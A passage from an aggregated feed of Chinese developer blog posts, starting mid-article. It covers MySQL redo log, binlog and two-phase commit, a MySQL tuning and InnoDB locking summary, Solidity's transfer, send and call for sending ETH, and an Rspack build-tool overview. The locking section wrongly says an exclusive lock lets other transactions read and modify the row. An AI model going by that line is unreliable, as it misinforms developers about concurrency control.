后来引入 InnoDB 引擎后,为实现 crash-safe 能力,InnoDB 使用了 redo log,但 binlog 依然保留其在 Server 层的作用。

在一个同时使用了 MyISAM 和 InnoDB 引擎的数据库系统中,binlog 可以统一记录所有引擎的逻辑操作,而 redo log 则仅服务于 InnoDB 引擎的事务安全和数据恢复。

4.1.2. 记录内容性质

redo log 是物理日志,记录的是在某个数据页上做了什么修改。

binlog 是逻辑日志,记录的是语句的原始逻辑,例如 给 ID=2 这一行的 c 字段加 1

比如执行 update T set c=c+1 where ID=2 语句,redo log 会记录数据页中 ID=2 这一行数据的具体修改细节,如某个字节的变化;而 binlog 则记录 update T set c=c+1 where ID=2 这个完整的语句逻辑。

4.1.3. 写入方式

redo log 是循环写,空间固定会用完。

binlog 是可以追加写入的,即文件写到一定大小后会切换到下一个文件,不会覆盖以前的日志。

在长期运行的数据库系统中,redo log 可能会因为循环写而覆盖早期的记录,但 binlog 则会持续保存所有的历史逻辑操作,这对于数据的长期归档和审计非常重要。

4.2. 在数据恢复中的作用

binlog 用于记录所有的逻辑操作,且采用追加写形式。

在数据恢复场景中,DBA 通常会定期做全量备份(备份周期取决于系统重要性,可为一天一备或一周一备等),同时保存最近半个月的所有 binlog。

当需要恢复到指定某一秒时,先找到最近的全量备份恢复到临时库,再从备份时间点开始,依次取出 binlog 重放到误操作之前的时刻,使临时库与误删之前的线上库一致,最后可按需将数据恢复到线上库。

例如,在一个企业级的数据库应用中,如果误删除了某个重要表的数据,DBA 可以利用最近的全量备份和相应时间段的 binlog,将数据恢复到误删前的状态,最大程度减少数据损失。

5. 两阶段提交

5.1. 引入原因

有了上面针对 redo log 和 binlog 的概念性理解,我们再来看执⾏器和 InnoDB 引擎在执⾏这个简单的 update 语句 update T set c=c+1 where ID=2 时的内部流程。

  1. 执⾏器先找引擎取 ID=2 这⼀⾏。ID 是主键,引擎直接⽤树搜索找到这⼀⾏。如果 ID=2 这

    ⼀⾏所在的数据⻚本来就在内存中,就直接返回给执⾏器;否则,需要先从磁盘读⼊内存,

    然后再返回。

  2. 执⾏器拿到引擎给的⾏数据,把这个值加上 1,⽐如原来是 N,现在就是 N+1,得到新的⼀

    ⾏数据,再调⽤引擎接⼝写⼊这⾏新数据。

  3. 引擎将这⾏新数据更新到内存中,同时将这个更新操作记录到 redo log ⾥⾯,此时 redo

    log 处于 prepare 状态。然后告知执⾏器执⾏完成了,随时可以提交事务。

  4. 执⾏器⽣成这个操作的 binlog,并把 binlog 写⼊磁盘。

  5. 执⾏器调⽤引擎的提交事务接⼝,引擎把刚刚写⼊的 redo log 改成提交(commit)状态,

    更新完成。

下面用图片描述一下上述流程,图中浅⾊框表示是在 InnoDB 内部执⾏的,深⾊框表示是在执⾏器中执⾏的。

image.png

从上图应该可以看出来,我们将 redo log 的写入拆成了两个步骤:prepare 和 commit,这就是“两阶段提交”。

5.2. 两阶段提交的必要性

为保证 redo log 和 binlog 之间的逻辑一致性。

若不采用两阶段提交,无论是先写 redo log 再写 binlog,还是先写 binlog 后写 redo log,在发生崩溃时都可能导致数据库状态与用日志恢复出来的库状态不一致。

例如,执行 update T set c=c+1 where ID=2 时,假设当前 c 值为 0,若先写 redo log 后写 binlog,在 redo log 写完但 binlog 未写完时崩溃,恢复后原库 c 值为 1,但 binlog 丢失该语句,用 binlog 恢复临时库时 c 值为 0。

反之,先写 binlog 后写 redo log,binlog 写完 redo log 未写时崩溃,原库 c 值为 0,而用 binlog 恢复时 c 值为 1,均出现不一致情况。

在一个分布式数据库系统中,多个节点同时进行更新操作,如果不采用两阶段提交保证日志一致性,可能会导致节点间数据不一致,影响整个系统的正常运行。

6. 最后建议

redo log ⽤于保证 crash-safe 能⼒。innodb_flush_log_at_trx_commit 这个参数设置成 1 的时候,表示每次事务的 redo log 都直接持久化到磁盘。这个参数我建议你设置成 1,这样可以保证 MySQL 异常重启之后数据不丢失。

sync_binlog 这个参数设置成 1 的时候,表示每次事务的 binlog 都持久化到磁盘。这个参数我也建议你设置成 1,这样可以保证 MySQL 异常重启之后 binlog 不丢失。

by 山海守门人 at January 19, 2025 10:10 AM

juejin backend

MySQL数据库优化个人总结

数据库优化

数据库优化,为了提高SQL的执行效率,更加快速的完成SQL运行,可以数据库层面和硬件层面两个方面进行优化。 硬件层面造成的瓶颈通常有:磁盘寻道、磁盘读写、CPU周期、内存带宽等等。这里主要是从数据库层进行优化,详情参看官方文档

SQL执行过程

在开始数据库优化之前,先了解SQL查询语句如何执行的,执行SELECT语句时,执行的先后顺序.

  1. SQL 查询语句执行过程

    • 连接器:建立连接,管理连接、校验用户身份

    • 查询缓存:查询语句如果命中查询缓存则直接返回,否则继续往下执行。MySQL 8.0已删除

    • 解析SQL:通过解析器对SQL查询语句进行词法分析、语法分析,构建语法树,便于后续模板读取表明、字段、语句类型

    • 执行SQL

      • 预处理阶段:检查表或字段是否存在
      • 优化阶段:基于查询成本的考虑,选择查询成本最小的执行计划
      • 执行阶段:根据执行计划执行SQL查询语句,从存储引擎读取记录
  2. SELECT执行顺序 关键字顺序:

     SELECT ... FROM ... WHERE ... GROUP BY ... HAVING ... ORDER BY ...
    

    SELECT语句的执行顺序

     FROM = JOIN > WHERE > GROUP BY > HAVING > SELECT的字段 > DISTINCT > ORDER BY > LIMIT
    

    比如一个SQL语句,它的关键字顺序和执行顺序是下面这样的:

     SELECT DISTINCT player_id, player_name, count(*) as num #顺序5
     FROM player JOIN team ON player.team_id = team.team_id #顺序1
     WHERE height &gt; 1.80 #顺序2
     GROUP BY player.team_id #顺序3
     HAVING num &gt; 2 #顺序4
     ORDER BY num DESC #顺序6
     LIMIT 2 #顺序7
    

    在SELECT语句执行这些步骤的时候,每个步骤都会产生一个虚拟表,然后将这个虚拟表传入下一个步骤中作为输入

优化数据库结构

  1. 在建数据表时,先预估数据表的容量,数据表存放的数据量较大,要对数据表进行分区

  2. 优化数据类型

    • 优先使用数字类型的做唯一ID
    • 对于大小小于8KB的列值,使用二进制VARCHAR而不是BLOB
  3. 数据库和表的数量限制

    • MySQL 对数据库的数量没有限制。底层文件系统可能对目录的数量有限制
    • InnoDB最多允许 40 亿个表
  4. 数据表大小限制,InnoDB表,对于大于 1TB 的表,建议将表分区为多个表空间文件

  5. 数据表行数和列数限,InnoDB表

    • 一个表最多可以包含 1017 个列。虚拟生成的列也包含在该限制内
    • 一个表最多可以包含64个 二级索引
    • 行数没有明确要求,但是和数据表“页”相关
  6. 配置缓冲池

优化SQL

优化SQL需要一个过程的优化和判断才能达到预期

  1. 优化SQL语句(// 感觉现在整理的不够 todo)

    • 避免使用select *进行查询
    • 索引优化,建立合适索引,在查询时保证索引生效
    • 连接优化,小表连接大表,连接条件尽可能的缩小表的大小
  2. 建立合适索引,甄别正确的列做二级索引和二级联合索引,合理使用覆盖索引,避免索引失效,MySQL创建索引

     CREATE [UNIQUE | FULLTEXT | SPATIAL] INDEX index_name
        [index_type]
        ON tbl_name (key_part,...)
        [index_option]
        [algorithm_option | lock_option] ...
     
     key_part: {col_name [(length)] | (expr)} [ASC | DESC]
     
     index_option: {
        KEY_BLOCK_SIZE [=] value
     | index_type
     | WITH PARSER parser_name
     | COMMENT 'string'
     | {VISIBLE | INVISIBLE}
     | ENGINE_ATTRIBUTE [=] 'string'
     | SECONDARY_ENGINE_ATTRIBUTE [=] 'string'
     }
     
     index_type:
        USING {BTREE | HASH}
     
     algorithm_option:
        ALGORITHM [=] {DEFAULT | INPLACE | COPY}
     
     lock_option:
        LOCK [=] {DEFAULT | NONE | SHARED | EXCLUSIVE}
    
  3. SQL分析,使用EXPLAIN优化查询,去分析SQL执行日志,日志字段含义解释如下

    • id: 查询的唯一标识符

      • 在单个简单查询中,通常这个值为1。在复杂查询中,如包含子查询、联合查询(UNION)或是多表连接的查询,id的值可以帮助你理解查询的执行顺序和结构
      • 相同的id值表示这些操作是在同一个级别执行的。例如,在JOIN操作中,参与相同JOIN的表会有相同的id值。
    • select_type: 查询的类型(如 SIMPLE, PRIMARY, SUBQUERY 等)

      • SIMPLE 表示一个简单的SELECT(不使用UNION或子查询的情况)
      • PRIMARY 一个复杂的查询中(比如涉及到 UNION 或子查询的情况),最外层的查询被标记为 PRIMARY
      • SUBQUERY 查询中包含子查询时,子查询的 select_type 是 SUBQUERY
    • table: 正在访问的表。

    • type: 表示连接类型(如ALL、index、range等)。

      • system 表只有一行(等同于系统表)。这是可能的最好的 type 值,查询速度非常快
      • const 表示通过索引一次就能找到一行数据,通常用于比较主键或唯一索引的等值查询
      • eq_ref 在使用主键或唯一索引作为连接条件时
      • ref 访问类型只返回匹配某个单个值的行,它使用非唯一或非主键索引
      • fulltext 全文索引
      • unique_subquery 在 IN 子句中使用的子查询将被优化为一个唯一查询
      • index_subquery 类似于 unique_subquery,但用于非唯一索引
      • range 只检索给定范围内的行,使用索引来选择行
      • index 表示全索引扫描,比全表扫描快,但不如 range 类型
      • all 表示全表扫描,这通常是性能最差的情况,应尽可能避免
    • possible_keys: 可能用于查询的索引。

    • key: 实际使用的索引。

    • key_len: 索引使用的字节数。

    • ref: 显示索引如何被使用,如列名或常量。

    • rows: 估计查询需要检查的行数。

    • Extra: 额外的信息(如Using whereUsing index等)

      • Using filesort 表明 MySQL 将使用一个外部索引排序,而不是按索引顺序进行读取。这通常发生在 ORDER BY 查询中,指定的排序无法通过索引直接完成
      • Using temporary 表示 MySQL 需要使用临时表来存储结果,这通常发生在排序和分组查询中(例如,含有 GROUP BY、DISTINCT、ORDER BY 或多表 JOIN)
      • Using index 查询能够通过只访问索引来获取所需的数据,无需读取实际的表行。这通常是性能较好的情况
      • Using where 指 MySQL 在存储引擎层面之外进行了额外的过滤

    根据分析报告,主要查看SQL是否按预期走索引获取结果,如果出现嵌套循环等,应该尝试打破嵌套循环。更多查询执行计划报告见MySQL原文

最后引用美团技术团队的一段话,任何数据库层面的优化都抵不上应用系统的优化,同样是MySQL,可以用来支撑Google/FaceBook/Taobao应用,但可能个人网站都撑不住。套用最近比较流行的话:“查询容易,优化不易,且写且珍惜!”

InnoDB Locking

  1. 共享锁与排他锁 (Shared and Exclusive Locks)

    • 共享锁(S锁):允许其他事务读取数据,但不允许其他事务修改数据
     SELECT * FROM table_name WHERE id = 1 LOCK IN SHARE MODE;
     -- 或
     SELECT * FROM users WHERE id = 1 FOR SHARE;
    
    • 排他锁(X锁):允许其他事务读取和修改数据
     SELECT * FROM table_name WHERE id = 1 FOR UPDATE;
    
  2. 意向锁 (Intention Locks)

    • 意向锁是一种表级锁,用于表示事务将要对表中的某些行进行加锁
     -- 意向锁是表级锁,在获取行锁之前自动设置
     -- 意向共享锁(IS):表示事务打算给表中的某些行加共享锁
     SELECT * FROM table_name WHERE id = 1 LOCK IN SHARE MODE;
     -- 意向排他锁(IX):表示事务打算给表中的某些行加排他锁
     SELECT * FROM table_name WHERE id = 1 FOR UPDATE;
    
  3. 记录锁 (Record Locks)

    • 记录锁是一种行级锁,用于锁定单个行
     SELECT * FROM table_name WHERE id = 1 FOR UPDATE;
     -- 特点:
     -- 锁定单个索引记录
     -- 防止其他事务修改或删除该记录
     -- 必须是精确匹配的查询条件
    
  4. 间隙锁 (Gap Locks)

    • 间隙锁是一种间隙级锁,用于锁定索引记录之间的间隙
     SELECT * FROM table_name WHERE id BETWEEN 1 AND 10 FOR UPDATE;
    

    特点:

    • 锁定范围,防止其他事务在范围内插入数据
    • 防止幻读
    • 只在REPEATABLE READ隔离级别下生效
  5. 临键锁 (Next-Key Locks)

    • 临键锁是一种行级锁,用于锁定索引记录及其之间的间隙
     -- Record Lock + Gap Lock
     SELECT * FROM users WHERE age > 20 FOR UPDATE;
    
    • 特点:

      • 锁定索引记录及其之间的间隙
      • 防止幻读
      • 在REPEATABLE READ隔离级别下生效
  6. 插入意向锁 (Insert Intention Locks)

    • 插入新记录时自动获取
  7. 自增锁 (Auto Increment Locks)

    • 自增锁是一种表级锁,用于确保多个事务对自增列的并发插入操作的正确性
     CREATE TABLE t1 (
       c1 INT(11) NOT NULL AUTO_INCREMENT,
       c2 VARCHAR(10) DEFAULT NULL,
       PRIMARY KEY (c1)
     ) ENGINE=InnoDB;
    

上述的数据库优化,是结合个人工作经历以及官方文档进行了简单总结,其实数据库的优化是多变,具体问题具体分析,“正确的”使用数据库,去提升查询效率。数据库的锁,主要是为了解决并发操作数据库的问题,这里主要介绍了MySQL提供的锁和简单的使用....

by 小镇cxy at January 19, 2025 10:09 AM

再谈Solidity 中发送主币的三种方式

基本概念

在 Solidity 中,发送以太币(ETH)是智能合约开发中的常见操作。Solidity 提供了三种主要的方式来发送主币(ETH):transfersendcall。本文将详细介绍这三种方式的用法、区别、gas 消耗情况以及使用时需要注意的问题,并通过示例代码进行演示。

1. transfer

用法

transfer 是 Solidity 提供的一种简单的发送 ETH 的方式。它的语法如下:

address payable recipient = payable(0xSomeAddress);
recipient.transfer(amount);

特点

  • transfer 会发送指定数量的 ETH 到目标地址。
  • 如果发送失败(例如,目标地址是一个合约且没有实现 fallback 函数,或者目标地址的余额不足),transfer 会抛出异常并回滚整个交易。
  • transfer 的 gas 限制是 2300 gas,这意味着目标地址的 fallback 函数只能执行非常有限的操作。

示例

pragma solidity ^0.8.0;

contract TransferExample {
    function sendViaTransfer(address payable _to) public payable {
        _to.transfer(msg.value);
    }
}

注意事项

  • transfer 的 gas 限制较低,因此不适合用于需要复杂逻辑的合约。
  • 如果目标地址是一个合约,且其 fallback 函数需要更多的 gas 来执行操作,transfer 可能会导致交易失败。

2. send

用法

send 是另一种发送 ETH 的方式,语法与 transfer 类似:

address payable recipient = payable(0xSomeAddress);
bool success = recipient.send(amount);
if (!success) {
    // 处理发送失败的情况
}

特点

  • sendtransfer 类似,但它不会抛出异常,而是返回一个布尔值来表示发送是否成功。
  • send 的 gas 限制也是 2300 gas,与 transfer 相同。

示例

pragma solidity ^0.8.0;

contract SendExample {
    function sendViaSend(address payable _to) public payable returns (bool) {
        bool success = _to.send(msg.value);
        if (!success) {
            // 处理发送失败的情况
            revert("Send failed");
        }
        return success;
    }
}

注意事项

  • sendtransfer 一样,gas 限制较低,不适合复杂逻辑。
  • 由于 send 不会抛出异常,开发者需要手动检查返回值并处理发送失败的情况。

3. call

用法

call 是 Solidity 中最灵活的发送 ETH 的方式,语法如下:

address payable recipient = payable(0xSomeAddress);
(bool success, ) = recipient.call{value: amount}("");
if (!success) {
    // 处理发送失败的情况
}

特点

  • call 不仅可以发送 ETH,还可以调用目标地址的函数。
  • call 没有 gas 限制,这意味着目标地址的 fallback 函数可以执行更复杂的操作。
  • call 返回两个值:一个布尔值表示调用是否成功,以及一个字节数组(通常用于函数调用的返回值)。

示例

pragma solidity ^0.8.0;

contract CallExample {
    function sendViaCall(address payable _to) public payable returns (bool) {
        (bool success, ) = _to.call{value: msg.value}("");
        if (!success) {
            // 处理发送失败的情况
            revert("Call failed");
        }
        return success;
    }
}

注意事项

  • call 没有 gas 限制,因此需要特别注意目标合约的 fallback 函数是否会消耗过多的 gas。
  • 由于 call 的灵活性,它也可能带来更多的安全风险,例如重入攻击。因此,在使用 call 时,建议遵循“检查-效果-交互”模式,并使用重入锁来防止重入攻击。

三种方式的比较

方式抛出异常Gas 限制灵活性适用场景
transfer2300简单转账
send2300简单转账
call无限制复杂交互

总结

  • transfersend 适合简单的 ETH 转账,但由于 gas 限制较低,不适合复杂的合约交互。
  • call 提供了更高的灵活性,但需要开发者更加小心,以防止潜在的安全风险。

在实际开发中,选择哪种方式取决于具体的需求。如果只是简单的转账,transfersend 是更安全的选择;如果需要与合约进行复杂的交互,call 是更好的选择,但需要特别注意安全问题。

参考代码

pragma solidity ^0.8.0;

contract EthSender {
    function sendViaTransfer(address payable _to) public payable {
        _to.transfer(msg.value);
    }

    function sendViaSend(address payable _to) public payable returns (bool) {
        bool success = _to.send(msg.value);
        if (!success) {
            revert("Send failed");
        }
        return success;
    }

    function sendViaCall(address payable _to) public payable returns (bool) {
        (bool success, ) = _to.call{value: msg.value}("");
        if (!success) {
            revert("Call failed");
        }
        return success;
    }
}

通过以上代码示例,开发者可以更好地理解和使用 Solidity 中的三种发送 ETH 的方式。

by 我是区块链小学生 at January 19, 2025 09:45 AM

juejin frontend

⚡️ 万字总结 前端构建引擎 Rspack 前世今生与高性能内幕

本文参考 Rspack 官方文档/成员社区分享和本人的一些理解,如有不同观点,欢迎评论

Why Rspack?

前端工具现状

开发/生产构建时间长

  • 巨型应用
  • 开发:启动时间过长,通常为 5-10 分钟,单次 HMR 10-20 秒
  • 生产:构建时间过长,通常为 10-20 分钟,降低持续部署的效率

配置不灵活

  • 公司业务种类繁多,需要支持各种开发场景
  • 大多数开发工具无法同时满足"高构建性能"与"优秀的配置"活性"
  • 新生代构建工具生态不够成熟,部分场景无法开箱即用

产物性能不达标

  • 产物的性能直接影响了用户体验
  • 大多数开发工具无法同时满足"高构建性能"与"优秀的生产环境优化能力"

开发者的诉求

  • 冷启动+HMR 性能:冷启动要快,生产构建也要快
  • 灵活性:构建工具的配置要足够灵活,能应对各种使用场景
  • 生产环境产物性能(极致的拆包能力):**Code Splitting **等能力决定了产物性能。C 端收入对产物性能非常敏感,直接影响业务指标(首屏性能)
  • 生产环境构建性能和稳定的产物质量
  • 丰富的生态
  • 丰富的应用场景:webapp,nodejs,跨端应用
  • 迁移成本:最小化,Legacy code 兼容

社区解决方案

改造 webpack

  • 性能优化解决方案 thread-loader,swc-loader,esbuild-loader,cache-loader,persistent-cache、hard-source-webpack-plugin、lazy compilation、DIIPlugin MFSU
  • 然而,这些解决方案的切入点比较单一,并没有解决根本问题。比如 swc-loader 只能在 loader 层做优化,但是 webpack 有其他性能瓶颈;vite 生产环境构建性能差,拆包能力;esbuild 不支持 hmr,打包能力,插件能力弱很多

总结:治标不治本,性能提升没多少,配置复杂翻倍

换框架

Parcel

架构很好,但是用的太少

Turbopack

架构很好(Rspack 和 Turbopack 大概同时诞生),和 nextjs/Vercel 公司绑定

Rollup

库场景良好,应用场景性能和功能都缺失的较为严重

esbuild

缺陷

  • HMR:Hook 不支持增量构建,rebuild 性能较差;esbuild 原生不支持 HMR,也没有提供接口,所以需要自行通过插件实现,性能下降严重
  • 产物性能不佳
    • 只支持基于 dynamic import 和多 entry(multi entry)的拆包
    • 无法控制包的体积和并行加载数目
    • esbuild 只能编译到 es6,所以对于 Es5 支持会引起很大的性能劣化,且和 splitting 配合不友好
    • 很容易拆分出非常多小的 chunk,网络加载和离线化场景性能很差
    • 自定义的后处理会导致 chunk hash 问题

esbuild 带来的启发

  • 验证了基于原生语言架构的 bundler 的性能天花板非常高
  • resolve 和 load hook 基于 golang regex 的设计**巧妙避免了跨语言通信开销,**一旦正则不匹配,就不会调用 callback 了,避免了每一次调用都触发 callback(go 和 js 之间的反复调用会存在性能问题)
  • 验证了没有一套基于增量架构的 HMR 是不可行的(没有 hmr,bundler 再快也没用)
  • 验证了增量构建中跨语言通信是瓶颈问题

vite

中小型项目很香,开发体验很好;但是 Build 性能虽然一般(rollup),对中小型项目足够

缺陷

dev 性能:

  • 瀑布流问题导致 reload load 的性能瓶颈
  • HMR 并不总是能工作
  • Fast-Refresh 的 bailout 情况非常多,大型项目非常容易触发 bailout
  • Legacy 代码大量循环引用(bailout),改造兼容成本很大

Build 性能:

  • vite 生产环境使用 rollup 编译【和 webpack 一样单线程】,且不支持 cache,导致性能不佳
  • Build 性能真的重要吗?CI 越长,迭代效率越低

Build Time Matters

  • CI 可以做更多的事情,预览、包分析、E2E 等
  • 减小快速试错的成本(想想改个配置编译 30min)
  • Cl Build 成本(如 aws 的 codebuild,省钱才是硬道理)
  • 减小 HotFix 的时间(热修变冷修)

产物性能:

  • 拆包能力比 esbuild 好(支持 manualChunks 和 minChunkSize 可以控制包大小,手动分类 module)
  • 拆包能力仍然是导致其难以应用到重要 C 端应用的最大阻力(广告 C 端对性能及其敏感)(缺少像 webpack 的控制包大小,并发网络请求数量)
  • 重要的 C 端应用通常需要拆包的调优来获得最佳的性能
已知问题

vite 的选择

vite 的经验
  • 出色的开箱即用体验非常重要(why we build rsbuild)(webpack 弱项)
  • 兼容生态十分重要,避免所有轮子都要自己造一遍
  • 高质量的 loader 和 plugin 里包含了无数的细节,小团队根本无去维护
  • 社区至关重要
  • bundleless 目前不适合公司的大型业务场景
  • 拆包能力至关重要,关乎到能不能应用到重要 C 端应用(webpack 强项)

why rust

  • 生态丰富(swc):做 bunder 的底层依赖很多,如 transform、parse、minifiy,swc 暴露了 rust crates 调用能力
  • 语言工程化做得好 cargo 工具链完爆 js 工具链
  • 良好的 binding 支持(NAPI-RS)

第一次尝试:Rusty Esbuild

Rusty Esbuild + HMR + Rollup Plugin API = rolldown

为什么不扩展 rollup 呢?

答案:rollup 不适合做应用构建-核心架构问题

  • Rollup 的架构是为了解决库的打包问题,只有 esm 为一等公民,其他均需要转换成 esm 进行处理
  • commonjs 的支持是错误的方案,不可能彻底实现兼容(non strict cjs ->strict esm),除非引入 runtime(esbuild)
  • 没考虑其他资源的多样性,如 css、图片、esm、commonjs 等语言在 resolve 层面的差异性

Rollup 对 commonjs 的处理也是 vite 开发生产不一致的一大根源

kinsta.com/blog/rollup…

medium.com/webpack/web…

@rollup/plugin-commonjs 做过无数重构,目前还是有很多 end case

非严格模式和严格模式的运行时语义完全不一样

为什么要 rust 版本的 esbuild?

介绍下 esbuild:Esbuild 是由 Figma 的 CTO 「Evan Wallace」基于 Golang 开发的一款打包工具,相比传统的打包工具,主打性能优势,在构建速度上可以比传统工具快 10~100 倍。那么,它是如何达到这样超高的构建性能的呢?主要原因可以概括为 4 点。

  1. 使用 Golang 开发,构建逻辑代码直接被编译为原生机器码,而不用像 JS 一样先代码解析为字节码,然后转换为机器码,大大节省了程序运行时间。
  2. 多核并行。内部打包算法充分利用多核 CPU 优势,所有的步骤尽可能并行,这也是得益于 Go 当中多线程共享内存的优势。
  3. 从零造轮子。 几乎没有使用任何第三方库,所有逻辑自己编写,大到 AST 解析,小到字符串的操作,保证极致的代码性能。
  4. 高效的内存利用。Esbuild 中从头到尾尽可能地复用一份 AST 节点数据,而不用像 JS 打包工具中频繁地解析和传递 AST 数据(如 string -> TS -> JS -> string),造成内存的大量浪费。

缺点

  • 架构比 rollup 更适合应用,css、图片等均作为一等公民,resolve 和 commonjs 相比都更加正确(commonjs 引入 runtime 处理保证其语义是正确的)
  • 插件 api 极其薄弱 onLoad onResolve,难以支持复杂需求,几乎无生态(n 个转换处理怎么建模,没有 transform hook)
  • content-hash 问题在 esbuild 上几乎无解(鸡蛋问题)
  • 内容哈希的生成:通常,在构建过程中,构建工具会根据文件的内容生成一个哈希值,并将这个哈希值嵌入到文件名中。这样,文件内容每次变化时,生成的哈希也会变化,从而触发浏览器的缓存更新。
  • esbuild 的优化和构建模式:esbuild 是一个非常快速的构建工具,但在实现上可能没有像 Webpack 那样的完善哈希管理机制。例如,WebPack 会通过 contenthashchunkhash 在文件名中嵌入内容哈希,来确保文件内容发生变化时浏览器能够重新加载资源。而 esbuild 在这方面的支持相对较弱,特别是在处理多文件构建时,可能无法像 Webpack 那样优雅地生成和控制每个文件的哈希。
  • 鸡蛋问题:这里的“鸡蛋问题”可以理解为一个悖论或矛盾。简单来说,想要在构建过程中控制哈希值,首先需要确保文件内容的变化能直接影响哈希值的生成,但 esbuild 作为一个快速构建工具,往往通过优化性能而牺牲了这类细节处理。这就造成了在某些情境下,哈希值的变化并没有按预期反映文件的内容变化,或者哈希值的管理机制在多文件、复杂项目中没有 Webpack 那样成熟。
  • HMR 必须内置支持,外置插件实现无任何性能保障
为什么放弃 Rusty Esbuild?
  • esbuild 的 Native 插件和 JS 插件难以穿插组合

插件组合:假设你有一个模块需要一次经过三次转换处理,其中间一步转换可以原生 rust 实现,前后两步只有 js 版本实现,要怎么处理?

webpack loader 设计天然适合 rust 工具链的渐进式迁移:Loader 的组合性可以实现工具链的渐进式原生化。

  • esbuild 和 rollup 在生产环境优化上做的太基本,bundle splitting 和 tree shaking 两个深度优化在原有架构实现风险较大
  • 海量业务都是基于 Webpack 的,迁移成本非常大
为什么选择 Rusty webpack?
  • 产物的性能和质量都有充分保证
  • 迁移成本低,可以实现渐进式迁移(双引擎切换)
  • loader 的设计非常适合组合 Rust 的 loader 和 js 的 loader
  • 架构设计上支持 AST 的复用
  • language agnostic 的设计使得应用侧的扩展非常灵活
  • 产物不依赖 ESM,使得其可以完美适配不支持 ESM 的环境,如 Lynx、Miniapp 等场景

Rspack 特性

Rspack 是基于 Rust 的高性能 Web 构建引擎

  • 基于 Rust 实现,内置增量编译机制(webpack 没有),HMR/构建速度极快,无论项目多大,hmr 的耗时基本一致,目前还没达到完全常数化水平,随着项目变大,影响比较小
  • 针对 webpack 的架构和生态进行兼容,无需从头搭建你的生态
  • 提供 TS、TSX、JSX、CSS、CSS Modules、Sass 等开箱即用的支持
  • 默认内置多种优化策略,如 Tree Shaking、CodeSplitting、代码压缩等等

生态兼容性

Loader

babel-loader

sass-loader

less-loader

style-loader

css-loader

@svgr/webpack

postcss-loader

raw-loader

url-loader

file-loader

vue-loader/svelte-loader

svelte-loader

@mdx-js/loader

@svgr/webpack

image-webpack-loader

thread-loader

source-map-loader

node-loader

...

plugin

webpack-bundle-analyzer

mini-css-extract-plugin

terser-webpack-plugin

react-refresh-webpack-plugin

html-webpack-plugin

define-plugin

copy-webpack-plugin

progress-plugin

webpack-stats-plugin

html-webpack-plugin => @rspack/plugin-html or builtins.html

react-refresh-webpack-plugin => builtins.react.refresh

webpack.DefinePlugin=> builtins.define

webpack.ProvidePlugin=> builtins.provide

mini-css-extract-plugin=>experiments.css

tsconfig-paths-webpack-plugin=> resolve.tsconfigPath

copy-webpack-plugin=> builtins.copy/copy-webpack-plugin@5

webpack-bundle-analyzer

webpack-stats-plugin

fork-ts-checker-webpack-plugin

...

前端框架

  • vue

x.com/youyuxi/sta…

www.rspack.dev/zh/guide/te…

vue 生态兼容:TS 语法处理:Rspack 内置后处理;Less 语法处理:less-loader->Rspack 内置后处理

  • react

www.rspack.dev/zh/guide/te…

Rspack 原生支持了 JSX,TSX;Dev 下内置支持 ReactFastRefresh

  • svelte

从 Webpack 迁移

开箱即用

TypeScript 是 Rspack 中的一等公民,我们提供了开箱即用的能力力,零配置

CSS、CSS Modules 是 Rspack 中的一等公民,我们提供了开箱即用的能力,零配置

你仍需要配置 less-loader、sass-loader 对非 CSS 的资源进行 transform

Less 需要由 less-loader 进行转译,可以直接配合 Rspack 内置的 CSS 后处理逻辑

转译后的 CSS 使用 Rspack 内置的 CSS、CSS Modules 后处理器完成处理

迁移准则

  • 优先使用内置功能
  • SWC>babel-loader,Rspack 使用 SWC 编译 JavaScript 代码。如果非要使用 babel-loader,也尽量控制在比较小的影响范围内
  • experiments.css > style-loader + css-loader, Rspack 使用 SWC 实现了 experiments.css,默认开启
  • 资源模块 Asset Modules > file-loader + url-loader + raw-loader
  • html 生成:builtins.html > @rspack/plugin-html

性能收益

benchmarks:github.com/web-infra-d…

分析:Rspack 不是最快,旨在做到足够灵活,生产环境产物足够优的,够快即可,指标最均衡

架构设计

  • 核心架构脱胎于 Webpack5:架构稳定性高
  • 拥抱 Native 语言的高并发架构:将原本在 JS 里难以并行化的操作充分并行化
  • 从语言特性上,rust 编译器做了非常多的优化
  • js 在 v8 优化上已经不错了,最大的短板在于多线程的支持,目前 js 多线程基本是基于 buffer 或者 string 通信,所以导致很多复杂的数据结构通信比较困难,比如 ast,只能做序列化通信,一旦涉及到序列化和反序列化,会导致序列化和反序列化本身会有很大的开销,意味着虽然用了多线程,但是序列化和反序列化的开销可能就会抵消多线程带来的收益。但是rust 多线程共享数据结构非常简单,基本没有任何开销,多线程收益明显。所以 rspack 在线程数越多收益越高
  • webpack 内部做了很多优化,比如针对 v8 做了很多,但是为啥慢呢?webpack生态太慢!因为大部分生态是基于插件和 loader 扩展的,babel-loader
  • 基于 Rust 的 Babel 替代品 SWC(parser,transformer,minify)
  • 基于 napi-rs 的 Rust 和 JS 的高效通信桥接

为什么插件扩展通过 js?

  • rust 学习成本;
  • 难以满足业务侧灵活多变的需求;
  • js 动态化的特性。rust 作为 native 语言,做动态化远不如 js,涉及到比较大的问题就是即使用 rust 开发了一个插件,插件编译产物(native code)和操作系统/cpu 强相关,所以想做 native 插件的动态分发、加载比较困难,需要熟悉整套扩平台编译的知识,门槛高,稳定性不保障。

更快的 webpack

不是抛弃 webpack,而是一个更快的 webpack

1. 高度LTO代码;2. 高并发度

为什么跑 jsloader 耗时:js 是单线程的,其他的任务会被这一个 jsloader 阻塞,跑不了其他 module 的 analyze

基本和 webpack 架构一致,并且对 webpack 能优化的部分进行了优化

  • make 阶段:生成模块依赖图
  • seal 阶段:会将模块图生成 chunk,和生产环境关联非常大
    • code spliting:基于多入口或者 dynamic import(路由懒加载)做code spliting按需加载
    • bundle spliting:支持业务侧灵活拆包,控制包大小,缓存三方依赖
    • 优化 optimize analytics:比如 tree-shaking
    • 代码生成:根据不同的 runtime 环境&用户配置,通过 chunk 生成产物,不同宿主环境加载逻辑不一样(node 环境 require 加载其他 chunk;浏览器根据 jsonp 加载其他 chunk)

Rspack 速度快的核心原因:rspack 会尽可能的进行并行化,比如模块生成(根据 id 解析路径->加载模块内容->parse->递归把依赖加到构建过程中,每个模块都会经过这个过程,比如一个模块有 10 个依赖,这 10 个依赖可以并行做加载。webpack 做不到核心原因是他单线程的设计,或者可能通过 worker thread 做到,但是模块信息是非常复杂的数据结构,所以带来的性能收益不明显),模块分析优化 optimization analysis 等...

增量编译 HMR

